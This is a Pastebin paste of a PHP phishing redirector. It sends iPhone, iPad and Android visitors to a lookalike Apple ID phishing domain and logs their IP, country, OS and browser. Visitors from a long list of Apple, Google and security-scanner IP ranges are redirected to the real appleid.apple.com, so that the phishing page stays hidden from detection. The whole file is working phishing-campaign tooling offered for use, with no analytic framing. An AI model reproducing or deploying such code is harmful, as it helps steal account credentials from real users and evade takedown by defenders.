Ribang

https://appleid.apple.com

Jun 4th, 2018
276
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.32 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. $scampage = array(
  4. "https://supportid.appcloud.com.webapps.service.cristinasteward.com/",
  5. // Tambahin aja sebanyak banyaknya...
  6. );
  7.  
  8. $lempar = "https://appleid.apple.com";
  9. $jnck = count($scampage) - 1;
  10. $rand = rand(0, $jnck);
  11. $trgt = $scampage[$rand];
  12. date_default_timezone_set('Asia/Jakarta');
  13. $user_agent = $_SERVER['HTTP_USER_AGENT'];
  14. function getOS(){
  15. global $user_agent;
  16. $os_platform = "Another";
  17. $os_array = array(
  18. '/windows nt 6.2/i' => 'Windows 8',
  19. '/windows nt 6.1/i' => 'Windows 7',
  20. '/windows nt 6.0/i' => 'Windows Vista',
  21. '/windows nt 5.2/i' => 'Windows Server 2003/XP x64',
  22. '/windows nt 5.1/i' => 'Windows XP',
  23. '/windows xp/i' => 'Windows XP',
  24. '/windows nt 5.0/i' => 'Windows 2000',
  25. '/windows me/i' => 'Windows ME',
  26. '/win98/i' => 'Windows 98',
  27. '/win95/i' => 'Windows 95',
  28. '/win16/i' => 'Windows 3.11',
  29. '/macintosh|mac os x/i' => 'Mac OS X',
  30. '/mac_powerpc/i' => 'Mac OS 9',
  31. '/linux/i' => 'Linux',
  32. '/ubuntu/i' => 'Ubuntu',
  33. '/iphone/i' => 'iPhone',
  34. '/ipod/i' => 'iPod',
  35. '/ipad/i' => 'iPad',
  36. '/android/i' => 'Android',
  37. '/blackberry/i' => 'BlackBerry',
  38. '/webos/i' => 'Mobile'
  39. );
  40.  
  41. foreach ($os_array as $regex => $value) {
  42.  
  43. if (preg_match($regex, $user_agent)) {
  44. $os_platform = $value;
  45. }
  46.  
  47. }
  48.  
  49. return $os_platform;
  50.  
  51. }
  52. function get_browser_name($user_agent)
  53. {
  54. if (strpos($user_agent, 'Opera') || strpos($user_agent, 'OPR/')) return 'Opera';
  55. elseif (strpos($user_agent, 'Edge')) return 'Edge';
  56. elseif (strpos($user_agent, 'Chrome')) return 'Chrome';
  57. elseif (strpos($user_agent, 'Safari')) return 'Safari';
  58. elseif (strpos($user_agent, 'Firefox')) return 'Firefox';
  59. elseif (strpos($user_agent, 'MSIE') || strpos($user_agent, 'Trident/7')) return 'Internet Explorer';
  60.  
  61. return 'Other';
  62. }
  63. $user_os = getOS();
  64. $user_browser = get_browser_name($_SERVER['HTTP_USER_AGENT']);
  65. $from = $_SERVER['HTTP_REFERER'];
  66. $ip = $_SERVER['REMOTE_ADDR'];
  67. $getip = 'http://ip-api.com/json/' . $ip;
  68. $curl = curl_init();
  69. curl_setopt($curl, CURLOPT_URL, $getip);
  70. curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  71. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  72. $content = curl_exec($curl);
  73. curl_close($curl);
  74. $details = json_decode($content);
  75. $negara = $details->countryCode;
  76. $nama_negara = $details->country;
  77. $kode_negara = strtolower($negara);
  78. $ip = $_SERVER['REMOTE_ADDR'];
  79. $dateTime = date("F j, Y, g:i a");
  80. array("151.80.38.67","144.76.22.83","178.32.216.192","72.30.14.73","50.97.98.153","199.59.150.182","136.243.154.93","69.164.111.198","163.172.128.98","182.75.120.10","51.15.54.85","144.76.22.213","72.30.14.92","17.142.159.185","150.70.173.5","163.172.138.81","51.15.53.163","199.59.150.183","52.21.255.183","199.59.150.180","184.173.211.18","73.204.5.117","184.173.226.128","184.173.226.129","75.76.51.51","204.13.201.137","85.17.14.20","85.17.14.21","77.234.90.5","115.112.129.194","184.173.226.130","104.238.46.114","212.21.66.6","38.80.23.38","38.80.23.35","38.80.27.84","51.15.46.174","51.15.52.84","163.172.139.91","87.118.116.12","69.80.245.139","51.15.58.219","173.16.163.104","71.234.230.249","64.28.50.130","174.255.201.10","178.197.236.253","51.255.66.112","54.91.107.158","17.142.155.148","50.97.101.74","139.59.149.99","76.170.163.214","96.32.140.241","96.94.247.225","213.104.23.200","204.13.201.139","107.178.194.123","196.52.2.62","107.4.37.238","85.248.227.165","157.55.39.66","17.198.249.137","17.220.176.23","17.207.49.21","17.198.181.18","17.207.49.17","17.209.77.17","17.207.49.19","17.197.166.17","17.218.20.18","17.229.103.17","17.220.176.17","17.198.249.153","17.198.181.20","17.226.7.20","205.201.132.14","70.228.93.92","148.163.128.145","74.73.64.254","66.220.156.144","198.71.237.19","180.242.46.254","100.8.140.46","71.35.85.138","107.77.70.87","94.23.173.249","54.174.33.17","79.172.193.32","69.171.228.116","171.25.193.77","66.220.156.179","185.170.42.4","74.137.8.217","66.220.151.208","108.28.40.159","8.28.16.254","199.91.135.163","70.140.101.146","66.220.148.166","70.120.238.144","52.21.176.42","12.246.227.34","216.255.122.67","96.85.185.145","99.74.248.133","50.78.251.5","54.165.181.10","104.173.38.222", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*", "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*", "54.228.218.117", "^54.228.218.*", "185.28.20.243", "^185.28.20.*", "217.16.26.166", "^217.16.26.*");
  81. if (in_array ($ip, $denyIPs)) {
  82. $fh = fopen('log.txt', 'a+');
  83. fwrite($fh, 'Blocked by IPs:'." [ $nama_negara - $user_os - $user_browser - $ip - $dateTime ] $from\n");
  84. fclose($fh);
  85. header("Location: $lempar");
  86. exit();
  87. }
  88. if(strstr($_SERVER['HTTP_USER_AGENT'],'iPod') || strstr($_SERVER['HTTP_USER_AGENT'],'iPhone') || strstr($_SERVER['HTTP_USER_AGENT'],'iPad') || strstr($_SERVER['HTTP_USER_AGENT'],'Mac OS 9') || strstr($_SERVER['HTTP_USER_AGENT'],'Mac OS X') || strstr($_SERVER['HTTP_USER_AGENT'],'Android'))
  89. {
  90. $jml = count($scampage);
  91. $ke = rand(0, $jml);
  92. $fh = fopen('log.txt', 'a+');
  93. fwrite($fh, 'Accepted | page: '.$trgt.' | User-Agent:'." [ $nama_negara - $user_os - $user_browser - $ip - $dateTime ] $from\n");
  94. fclose($fh);
  95. header('Location: '.$trgt);
  96. exit();
  97. }
  98. else {
  99. $fh = fopen('log.txt', 'a+');
  100. fwrite($fh, 'Blocked User-Agent:'." [ $nama_negara - $user_os - $user_browser - $ip - $dateTime ] $from\n");
  101. fclose($fh);
  102. header("Location: $lempar");
  103. exit();
  104. }
  105. ?>
Add Comment
Please, Sign In to add comment